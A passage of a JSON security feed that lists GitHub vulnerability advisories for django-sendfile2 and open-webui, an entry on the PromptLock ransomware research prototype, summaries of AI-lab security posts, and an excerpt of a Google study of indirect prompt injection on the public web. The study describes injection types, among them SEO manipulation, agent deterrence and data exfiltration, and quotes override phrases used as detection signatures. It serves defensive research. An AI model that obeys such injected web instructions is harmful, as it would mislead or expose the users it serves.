(PyPI)","open-webui","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","sourceUrl":"https://github.com/advisories/GHSA-5jp3-wp5v-5363","asOf":"2026-10-26T15:10:15.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-5jp3-wp5v-5363","url":"https://github.com/advisories/GHSA-5jp3-wp5v-5363","type":"primary","publishedAt":"2024-08-08T00:31:44.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-5jp3-wp5v-5363, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-pcjh-6r5h-r92r","cveId":null,"aliases":[],"kind":"vulnerability","title":"django-sendfile2 before 0.7.0 contains reflected file download vulnerability","summary":"Similar to CVE-2022-36359 for Django, django-sendfile2 did not protect against a reflected file download attack in version 0.6.1 and earlier. If the file name used by django-sendfile2 was derived from user input, then it would be possible to perform a such an attack. A new version of django-sendfile2 will be released. Either download django-sendfile2 0.7.0 as a workaround or sanitize user input yourself, using Django's patch as a template: https://github.com/django/django/commit/bd062445cffd3f6cc6dcd20d13e2abed818fa173","detail":"Similar to CVE-2022-36359 for Django, django-sendfile2 did not protect against a reflected file download attack in version 0.6.1 and earlier. If the file name used by django-sendfile2 was derived from user input, then it would be possible to perform a such an attack. A new version of django-sendfile2 will be released. Either download django-sendfile2 0.7.0 as a workaround or sanitize user input yourself, using Django's patch as a template: https://github.com/django/django/commit/bd062445cffd3f6cc6dcd20d13e2abed818fa173\n\nAffected package ranges reported by GitHub:\ndjango-sendfile2: < 0.7.0","action":"GitHub lists first patched versions: django-sendfile2: 0.7.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2022-08-11T18:12:35.000Z","updatedAt":"2026-10-24T06:30:30.000Z","regions":["Global"],"vendor":null,"product":"django-sendfile2","stacks":["Python packages (PyPI)","django-sendfile2","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-pcjh-6r5h-r92r","url":"https://github.com/advisories/GHSA-pcjh-6r5h-r92r","type":"primary","publishedAt":"2022-08-11T18:12:35.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-pcjh-6r5h-r92r, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-6r3c-8xf3-ggrr","cveId":null,"aliases":[],"kind":"vulnerability","title":"Directory traversal outside of SENDFILE_ROOT in django-sendfile2","summary":"django-sendfile2 currently relies on the backend to correctly limit file paths to `SENDFILE_ROOT`. This is not the case for the `simple` and `development` backends, it is also not necessarily the case for any of the other backends either (it's just an assumption that was made by the original author).\n\nThis will be fixed in 0.6.0 which is to be released the same day as this advisory is made public.","detail":"django-sendfile2 currently relies on the backend to correctly limit file paths to `SENDFILE_ROOT`. This is not the case for the `simple` and `development` backends, it is also not necessarily the case for any of the other backends either (it's just an assumption that was made by the original author).\n\nThis will be fixed in 0.6.0 which is to be released the same day as this advisory is made public.\n\nWhen upgrading, you will need to make sure `SENDFILE_ROOT` is set in your settings module if it wasn't already.\n\nAffected package ranges reported by GitHub:\ndjango-sendfile2: < 0.6.0","action":"GitHub lists first patched versions: django-sendfile2: 0.6.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2020-06-24T17:15:26.000Z","updatedAt":"2026-10-24T06:30:31.000Z","regions":["Global"],"vendor":null,"product":"django-sendfile2","stacks":["Python packages (PyPI)","django-sendfile2","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-6r3c-8xf3-ggrr","url":"https://github.com/advisories/GHSA-6r3c-8xf3-ggrr","type":"primary","publishedAt":"2020-06-24T17:15:26.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-6r3c-8xf3-ggrr, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"promptlock-ransomware-proof-of-concept-2025","cveId":null,"aliases":["PromptLock"],"kind":"ai-research","title":"PromptLock: AI-orchestrated ransomware proof of concept","summary":"ESET describes PromptLock samples that use a local language model through Ollama to generate and execute Lua scripts. Its September 3, 2025 update links the samples to an academic research prototype; ESET did not observe PromptLock in actual attacks.","detail":"The samples were uploaded to VirusTotal and support a research demonstration of runtime script generation, not an established deployed criminal campaign. ESET says destructive functionality appeared unimplemented. The academic paper calls its system a threat model and research prototype.","action":"Treat this as proof-of-concept research and consult ESET's published indicators for sample analysis. The cited sources do not establish a production vulnerability, victim-remediation requirement, or patch for a criminal campaign.","publishedAt":"2025-08-26","updatedAt":"2025-09-03","regions":["Global"],"vendor":"ESET Research / academic ransomware research","product":"PromptLock research samples","stacks":["Ollama","Go modules","AI security","Go","Lua","Windows","Linux"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"reported","explanation":"ESET reports actual model use inside offensive-capability research samples. Offense here describes a laboratory proof of concept, not evidence of criminal deployment or victim impact.","sourceUrl":"https://www.welivesecurity.com/en/ransomware/first-known-ai-powered-ransomware-uncovered-eset-research/"},"sources":[{"name":"ESET PromptLock disclosure with September 3, 2025 update","url":"https://www.welivesecurity.com/en/ransomware/first-known-ai-powered-ransomware-uncovered-eset-research/","type":"primary","publishedAt":"2025-08-26","checkedAt":"2026-10-26","supports":"Runtime AI use in samples, no observed attacks, PoC context, unimplemented destruction, and academic-prototype resemblance."},{"name":"Academic preprint: Ransomware 3.0","url":"https://arxiv.org/abs/2508.20444","type":"primary","publishedAt":"2025-08-28","checkedAt":"2026-10-26","supports":"Authors explicitly describe a threat model and research prototype; abstract and submission history were reviewed."}],"provenance":{"origin":"editorial","retrievedAt":null,"reviewedAt":"2026-10-26"},"reviewed":false},{"id":"openai-openai-extends-cyber-access-to-ukraine-for-civilian-defense-9328fa400dd3","cveId":null,"aliases":[],"kind":"ai-research","title":"OpenAI extends cyber access to Ukraine for civilian defense","summary":"OpenAI is extending access to its Daybreak program to the Government of Ukraine to support the cyber defense of civilian infrastructure.","detail":"OpenAI is extending access to its Daybreak program to the Government of Ukraine to support the cyber defense of civilian infrastructure.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original post for its scope and limitations before applying its findings.","publishedAt":"2026-09-23T13:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"confirmed","explanation":"The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/openai-extends-cyber-access-to-ukraine-for-civilian-defense"},"sources":[{"name":"OpenAI: OpenAI extends cyber access to Ukraine for civilian defense","url":"https://openai.com/index/openai-extends-cyber-access-to-ukraine-for-civilian-defense","type":"primary","publishedAt":"2026-09-23T13:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"deepmind-proactive-cyber-defense-for-governments-and-enterprises-d721843382f3","cveId":null,"aliases":[],"kind":"ai-research","title":"Proactive cyber defense for governments and enterprises","summary":"Google DeepMind reports: Proactive cyber defense for governments and enterprises.","detail":"Published by Google DeepMind; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original post for its scope and limitations before applying its findings.","publishedAt":"2026-09-02T16:24:24.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"confirmed","explanation":"The source describes AI used to find or fix security problems, or safety research. Disclosed by Google DeepMind, the organization that runs or studies the system.","sourceUrl":"https://deepmind.google/blog/proactive-cyber-defense-for-governments-and-enterprises/"},"sources":[{"name":"Google DeepMind: Proactive cyber defense for governments and enterprises","url":"https://deepmind.google/blog/proactive-cyber-defense-for-governments-and-enterprises/","type":"primary","publishedAt":"2026-09-02T16:24:24.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"Google DeepMind syndication feed","url":"https://deepmind.google/blog/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-strengthening-democratic-oversight-in-national-security-f0aa91974e0a","cveId":null,"aliases":[],"kind":"ai-research","title":"Strengthening democratic oversight in national security","summary":"OpenAI launches an initiative to strengthen democratic oversight of AI in national security, supporting government institutions with tools, training, and expertise.","detail":"OpenAI launches an initiative to strengthen democratic oversight of AI in national security, supporting government institutions with tools, training, and expertise.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original post for its scope and limitations before applying its findings.","publishedAt":"2026-08-18T19:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"confirmed","explanation":"The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/strengthening-democratic-oversight-in-national-security"},"sources":[{"name":"OpenAI: Strengthening democratic oversight in national security","url":"https://openai.com/index/strengthening-democratic-oversight-in-national-security","type":"primary","publishedAt":"2026-08-18T19:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-pacing-model-development-cyber-capabilities-9c25f4ae7a18","cveId":null,"aliases":[],"kind":"ai-research","title":"Pacing model development in an era of cyber-critical capabilities","summary":"OpenAI is strengthening monitoring, alignment, and security for frontier AI models. See how new safeguards are guiding the pace of model development.","detail":"OpenAI is strengthening monitoring, alignment, and security for frontier AI models. See how new safeguards are guiding the pace of model development.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original post for its scope and limitations before applying its findings.","publishedAt":"2026-08-18T11:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"confirmed","explanation":"The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/pacing-model-development-cyber-capabilities"},"sources":[{"name":"OpenAI: Pacing model development in an era of cyber-critical capabilities","url":"https://openai.com/index/pacing-model-development-cyber-capabilities","type":"primary","publishedAt":"2026-08-18T11:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-expanding-daybreak-as-the-cyber-defense-window-narrows-081601c279be","cveId":null,"aliases":[],"kind":"ai-research","title":"Expanding Daybreak as the Cyber Defense Window Narrows","summary":"Meet GPT-5.6-Cyber, OpenAI’s cybersecurity-specific model available through Daybreak Red for authorized vulnerability research, exploit validation, and security testing.","detail":"Meet GPT-5.6-Cyber, OpenAI’s cybersecurity-specific model available through Daybreak Red for authorized vulnerability research, exploit validation, and security testing.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original post for its scope and limitations before applying its findings.","publishedAt":"2026-08-10T10:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"confirmed","explanation":"The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/expanding-daybreak-as-the-cyber-defense-window-narrows"},"sources":[{"name":"OpenAI: Expanding Daybreak as the Cyber Defense Window Narrows","url":"https://openai.com/index/expanding-daybreak-as-the-cyber-defense-window-narrows","type":"primary","publishedAt":"2026-08-10T10:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-responding-next-frontier-critical-cyber-capabilities-e66cc71d0943","cveId":null,"aliases":[],"kind":"ai-research","title":"Responding to the next frontier of critical cyber capabilities","summary":"OpenAI is sharing preliminary cybersecurity evaluations for Astra and the steps we’re taking to strengthen safeguards and security controls.","detail":"OpenAI is sharing preliminary cybersecurity evaluations for Astra and the steps we’re taking to strengthen safeguards and security controls.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original post for its scope and limitations before applying its findings.","publishedAt":"2026-08-07T15:20:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"confirmed","explanation":"The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/responding-next-frontier-critical-cyber-capabilities"},"sources":[{"name":"OpenAI: Responding to the next frontier of critical cyber capabilities","url":"https://openai.com/index/responding-next-frontier-critical-cyber-capabilities","type":"primary","publishedAt":"2026-08-07T15:20:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-third-party-cyber-evaluations-involving-openai-models-c99ec862b4e7","cveId":null,"aliases":[],"kind":"ai-research","title":"Third-party cyber evaluations involving OpenAI models","summary":"OpenAI explains recent third-party cybersecurity evaluation incidents and outlines new safeguards to strengthen AI model testing and evaluation.","detail":"OpenAI explains recent third-party cybersecurity evaluation incidents and outlines new safeguards to strengthen AI model testing and evaluation.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original post for its scope and limitations before applying its findings.","publishedAt":"2026-08-04T19:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"confirmed","explanation":"The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/third-party-cyber-evaluations-involving-openai-models"},"sources":[{"name":"OpenAI: Third-party cyber evaluations involving OpenAI models","url":"https://openai.com/index/third-party-cyber-evaluations-involving-openai-models","type":"primary","publishedAt":"2026-08-04T19:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-government-national-security-partnerships-e00d55023af7","cveId":null,"aliases":[],"kind":"ai-research","title":"Our approach to government and national security partnerships","summary":"Learn how OpenAI approaches government and national security partnerships, with principles for responsible AI use, democratic accountability, and public safety.","detail":"Learn how OpenAI approaches government and national security partnerships, with principles for responsible AI use, democratic accountability, and public safety.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original post for its scope and limitations before applying its findings.","publishedAt":"2026-07-08T13:30:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"confirmed","explanation":"The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/government-national-security-partnerships"},"sources":[{"name":"OpenAI: Our approach to government and national security partnerships","url":"https://openai.com/index/government-national-security-partnerships","type":"primary","publishedAt":"2026-07-08T13:30:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-our-response-to-the-tanstack-npm-supply-chain-attack-8939013f174d","cveId":null,"aliases":[],"kind":"ai-research","title":"Our response to the TanStack npm supply chain attack","summary":"OpenAI details its response to the TanStack “Mini Shai-Hulud” supply chain attack, outlines protections taken to secure systems and signing certificates, and explains why macOS users must update OpenAI apps by June 12, 2026. Learn what happened, what was affected, and how OpenAI is strengthening defenses against evolving software supply chain threats.","detail":"OpenAI details its response to the TanStack “Mini Shai-Hulud” supply chain attack, outlines protections taken to secure systems and signing certificates, and explains why macOS users must update OpenAI apps by June 12, 2026. Learn what happened, what was affected, and how OpenAI is strengthening defenses against evolving software supply chain threats.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original post for its scope and limitations before applying its findings.","publishedAt":"2026-05-13T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"infrastructure","evidence":"confirmed","explanation":"The source describes a flaw in, or an attack on, an AI system. This alone does not show attackers used AI. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/our-response-to-the-tanstack-npm-supply-chain-attack"},"sources":[{"name":"OpenAI: Our response to the TanStack npm supply chain attack","url":"https://openai.com/index/our-response-to-the-tanstack-npm-supply-chain-attack","type":"primary","publishedAt":"2026-05-13T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-cybersecurity-in-the-intelligence-age-180302e63d71","cveId":null,"aliases":[],"kind":"ai-research","title":"Cybersecurity in the Intelligence Age","summary":"OpenAI outlines a five-part action plan for strengthening cybersecurity in the Intelligence Age, focused on democratizing AI-powered cyber defense and protecting critical systems.","detail":"OpenAI outlines a five-part action plan for strengthening cybersecurity in the Intelligence Age, focused on democratizing AI-powered cyber defense and protecting critical systems.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original post for its scope and limitations before applying its findings.","publishedAt":"2026-04-29T04:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"confirmed","explanation":"The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/cybersecurity-in-the-intelligence-age"},"sources":[{"name":"OpenAI: Cybersecurity in the Intelligence Age","url":"https://openai.com/index/cybersecurity-in-the-intelligence-age","type":"primary","publishedAt":"2026-04-29T04:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"google-security-ai-threats-in-wild-current-state-of-0098876e67a4","cveId":null,"aliases":[],"kind":"ai-research","title":"AI threats in the wild: The current state of prompt injections on the web","summary":"Posted by Thomas Brunner, Yu-Han Liu, Moni Pande \n\n At Google, our Threat Intelligence teams are dedicated to staying ahead of real-world adversarial activity, proactively monitoring emerging threats before they can impact users. Right now, Indirect Prompt Injection (IPI) is a top priority for the security community, anticipating it as a primary attack vector for adversaries to target and compromise AI agents. But while the danger of IPI is widely discussed, are threat actors actually exploiting this vector today – and if so, how? \n\n To answer these questions and to uncover real-world abuse, we initiated a broad sweep of the public web to monitor for known indirect prompt injection patterns. This is what we found. \n\n The threat of indirect prompt injection \n\n Unlike a direct injection where a user \"jailbreaks\" a chatbot, IPI occurs when an AI system processes content—like a website, email, or document—that contains malicious instructions. When the AI reads this poisoned content, it may silently follow the attacker's commands instead of the user's original intent. \n\n This is not a new area of concern for us and Google has been working tirelessly to combat these threats. Our efforts involve cross-functional collaboration between researchers at Google DeepMind (GDM) and defenders like the Google Threat Intelligence Group (GTIG). We have previously detailed our work in this area and researchers have further highlighted the evolving nature of these vulnerabilities. \n\n Despite this collective focus, a fundamental question remains: to what degree are real-world malicious actors currently operationalizing these attacks? \n\n Proactive monitoring at Google \n\n The landscape of IPI on the web \n\n There are many channels through which attackers might try to send prompt injections. However, one location is particularly easy to observe - the public web. Here, threat actors may simply seed prompt injections on websites in hope of corrupting AI systems that browse them. \n\n Public rese","detail":"Posted by Thomas Brunner, Yu-Han Liu, Moni Pande \n\n At Google, our Threat Intelligence teams are dedicated to staying ahead of real-world adversarial activity, proactively monitoring emerging threats before they can impact users. Right now, Indirect Prompt Injection (IPI) is a top priority for the security community, anticipating it as a primary attack vector for adversaries to target and compromise AI agents. But while the danger of IPI is widely discussed, are threat actors actually exploiting this vector today – and if so, how? \n\n To answer these questions and to uncover real-world abuse, we initiated a broad sweep of the public web to monitor for known indirect prompt injection patterns. This is what we found. \n\n The threat of indirect prompt injection \n\n Unlike a direct injection where a user \"jailbreaks\" a chatbot, IPI occurs when an AI system processes content—like a website, email, or document—that contains malicious instructions. When the AI reads this poisoned content, it may silently follow the attacker's commands instead of the user's original intent. \n\n This is not a new area of concern for us and Google has been working tirelessly to combat these threats. Our efforts involve cross-functional collaboration between researchers at Google DeepMind (GDM) and defenders like the Google Threat Intelligence Group (GTIG). We have previously detailed our work in this area and researchers have further highlighted the evolving nature of these vulnerabilities. \n\n Despite this collective focus, a fundamental question remains: to what degree are real-world malicious actors currently operationalizing these attacks? \n\n Proactive monitoring at Google \n\n The landscape of IPI on the web \n\n There are many channels through which attackers might try to send prompt injections. However, one location is particularly easy to observe - the public web. Here, threat actors may simply seed prompt injections on websites in hope of corrupting AI systems that browse them. \n\n Public research confirms these attacks are possible; consequently, we should expect real-world adversaries to exploit these vulnerabilities to cause harm. \n\n Thus, we ask a basic question: What outcomes are real attackers trying to achieve today? \n\n For ease of access and reproducibility, we chose to use Common Crawl , which is a large repository of crawled websites from the English-speaking web. Common Crawl provides monthly snapshots of 2-3 billion pages each. These are mostly static websites, which includes self-published content such as blogs, forums and comments on these sites, but as a caveat it does not contain most social media content (e.g., LinkedIn, Facebook, X, …) as Common Crawl skips websites with login walls and anti-crawl directives. \n\n This means that, while prompt injections have been observed on social media, we reserve these for an upcoming separate study. For a first look, we can observe prompt injections even in standard HTML, for which Common Crawl conveniently provides not just the source, but also the parsed plaintext. \n\n The challenge of false positives \n\n The task of scanning large amounts of documents for prompt injections may sound simple, but in reality is hindered by an overwhelming number of false positive detections. \n\n Early experiments revealed a significant volume of \"benign\" prompt injection text, which illustrates the complexity of distinguishing between functional threats and harmless content. Many prompt injections were found in research papers, educational blog posts, or security articles discussing this very topic. \n\n False positives: Most prompt injections in web content tend to be education material for researchers. (Source: GitHub/swisskyrepo) \n\n When searching for prompt injections naively, the majority of detections are benign content – false positives in our case. Therefore, we opted for a coarse-to-fine filtering approach: \n\n Pattern Matching : We initially identified candidate pages by searching for a range of popular prompt injection signatures, like “ignore … instructions” , “if you are an AI” , etc. \n\n LLM-Based Classification : These candidates were then processed by Gemini to classify the intent of the suspicious text, and to understand whether they were part of the overall document narrative or suspiciously out of place. \n\n Human Validation : A final round of manual review was conducted on the classified results to ensure high confidence in our findings. \n\n While this approach is not exhaustive and might miss uncommon signatures, it can serve as a starting point for understanding the quality of prompt injections in the wild. \n\n What we found \n\n Our analysis revealed a range of attempts that, if successful, would try to manipulate AI systems browsing the website. Most of the prompt injections we observed fall into these categories: \n\n Harmless pranks \n\n Helpful guidance \n\n Search engine optimization (SEO) \n\n Deterring AI agents \n\n Malicious \n\n Data exfiltration \n\n Destruction \n\n Harmless Prank \n\n This class of prompt injection aims to cause mostly harmless side effects in AI assistants reading the website. We found many instances of this – consider the source code of this website, which contains an invisible prompt injection that instructs agents reading the website to change their conversational tone: \n\n Helpful Guidance \n\n We also observed website authors who wanted to exert control over AI summaries in order to provide the best service to their readers. We consider this a benign example, since the prompt injection does not attempt to prevent AI summary, but instead instructs it to add relevant context. \n\n We note that this example could easily turn malicious if the instruction tried to add misinformation or attempted to redirect the user to third party websites. \n\n Search Engine Optimization (SEO) \n\n Some websites include prompt injections for the purpose of SEO, trying to manipulate AI assistants into promoting their business over others: \n\n While the above example is simple, we have also started to see more sophisticated SEO prompt injection attempts. Consider the intricate prompt below, which was seemingly generated by an automated SEO suite and inserted into website text: \n\n Deterring AI agents \n\n Some websites try to prevent retrieval by AI agents via prompt injection. There exist many examples of “ If you are an AI, then do not crawl this website ”. However, we also observed more insidious implementations: \n\n This injection tries to lure AI readers onto a separate page which, when opened, streams an infinite amount of text that never finishes loading. In this way, the author might hope to waste resources or cause timeout errors during the processing of their website. \n\n Malicious: Exfiltration \n\n We were able to observe a small number of prompt injections that aim at theft of data. However, for this class of attacks, sophistication seemed much lower. Consider this example: \n\n As we can see, this is a website author performing an experiment. We did not observe significant amounts of advanced attacks (e.g. using known exfiltration prompts published by security researchers in 2025). This seems to indicate that attackers have yet not productionized this research at scale. \n\n Malicious: Destruction \n\n 